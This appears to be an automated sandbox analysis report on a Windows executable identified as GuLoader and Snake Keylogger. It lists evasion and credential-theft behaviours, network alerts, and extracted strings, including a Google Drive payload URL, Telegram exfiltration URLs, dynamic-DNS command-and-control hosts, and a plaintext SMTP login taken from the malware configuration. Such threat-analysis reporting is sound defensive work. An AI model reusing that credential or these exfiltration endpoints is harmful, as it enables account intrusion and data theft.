Edit tour

Windows Analysis Report
4a. RFx-4045.exe

Overview

General Information

Sample name:	4a. RFx-4045.exe
Analysis ID:	1614889
MD5:	95ccf2bcd18e87a3386e71a5d09e75fe
SHA1:	79bbd13b8222d5a548a8b3539dcec954daf5d14f
SHA256:	7b676bf78d187d4d11cd10db0b8a31b908ee4d2a63556442da865d1c5aae2f22
Tags:	exeRFQsigneduser-cocaman
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

AI detected suspicious PE digital signature

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

4a. RFx-4045.exe (PID: 6824 cmdline: "C:\Users\user\Desktop\4a. RFx-4045.exe" MD5: 95CCF2BCD18E87A3386E71A5D09E75FE)

4a. RFx-4045.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\4a. RFx-4045.exe" MD5: 95CCF2BCD18E87A3386E71A5D09E75FE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "nuno.anjos@copinsa.com", "Password": "CmA9.v9,O!~I", "Host": "mail.copinsa.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: 4a. RFx-4045.exe PID: 6824	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: 4a. RFx-4045.exe PID: 1216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:30:22.643060+0100	2803305	3	Unknown Traffic	192.168.2.4	56836	104.21.112.1	443	TCP
2025-02-14T08:30:30.509480+0100	2803305	3	Unknown Traffic	192.168.2.4	56852	104.21.112.1	443	TCP
2025-02-14T08:30:34.103456+0100	2803305	3	Unknown Traffic	192.168.2.4	56856	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:30:20.867700+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	56821	132.226.247.73	80	TCP
2025-02-14T08:30:22.055192+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	56821	132.226.247.73	80	TCP
2025-02-14T08:30:26.477168+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	56842	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:30:15.376975+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56784	172.217.23.110	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:30:36.332886+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	56859	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 14 Feb 2025 07:30:36 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 4a. RFx-4045.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: 4a. RFx-4045.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:216041%0D%0ADate%20a
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/N
Source: 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/n
Source: 4a. RFx-4045.exe, 00000004.00000002.2970454869.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003BF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy
Source: 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy&export=download
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033FFB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033FFB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033FB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035062000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000352BB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034044000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351B8000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035089000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035014000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035193000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035296000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351C0000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.000000003501A000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035062000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000352BB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034044000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351B8000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035089000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035014000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035193000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035296000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351C0000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.000000003501A000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C1A000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C1A000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C1A000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.000000003411D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.000000003412C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56859
Source: unknown	Network traffic detected: HTTP traffic on port 56794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56830
Source: unknown	Network traffic detected: HTTP traffic on port 56848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56850
Source: unknown	Network traffic detected: HTTP traffic on port 56784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56852 -> 443

Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.4:56784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.4:56794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:56859 version: TLS 1.2

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 0_2_00405339 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405339

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_00403328 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403328
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_00403328 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_00403328

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_00404B78	0_2_00404B78
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_6F951A98	0_2_6F951A98
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_00404B78	4_2_00404B78
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037C5370	4_2_037C5370
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CD2C9	4_2_037CD2C9
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CC147	4_2_037CC147
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CD599	4_2_037CD599
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CCA58	4_2_037CCA58
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037C69A0	4_2_037C69A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CCFF7	4_2_037CCFF7
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037C6FC8	4_2_037C6FC8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CCD28	4_2_037CCD28
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037C9DE0	4_2_037C9DE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CEC18	4_2_037CEC18
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037C29EC	4_2_037C29EC
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037CEC0B	4_2_037CEC0B
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CD680	4_2_370CD680
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C02A0	4_2_370C02A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CBDA0	4_2_370CBDA0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C6F00	4_2_370C6F00
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C6F10	4_2_370C6F10
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C4F13	4_2_370C4F13
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C4F20	4_2_370C4F20
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CF320	4_2_370CF320
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C2F23	4_2_370C2F23
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CB339	4_2_370CB339
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CDB39	4_2_370CDB39
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C2F30	4_2_370C2F30
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CF330	4_2_370CF330
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CB348	4_2_370CB348
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CDB48	4_2_370CDB48
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C9348	4_2_370C9348
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CCB41	4_2_370CCB41
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C9358	4_2_370C9358
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CCB50	4_2_370CCB50
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C2395	4_2_370C2395
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C7393	4_2_370C7393
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C33AF	4_2_370C33AF
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C53AB	4_2_370C53AB
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C73A0	4_2_370C73A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C53B0	4_2_370C53B0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CB7C7	4_2_370CB7C7
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C33C0	4_2_370C33C0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CB7D8	4_2_370CB7D8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C97D9	4_2_370C97D9
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C07D0	4_2_370C07D0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C97E8	4_2_370C97E8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CF7E8	4_2_370CF7E8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CCFE0	4_2_370CCFE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CDFFF	4_2_370CDFFF
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CF7F8	4_2_370CF7F8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C4600	4_2_370C4600
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370CC21F	4_2_370CC21F
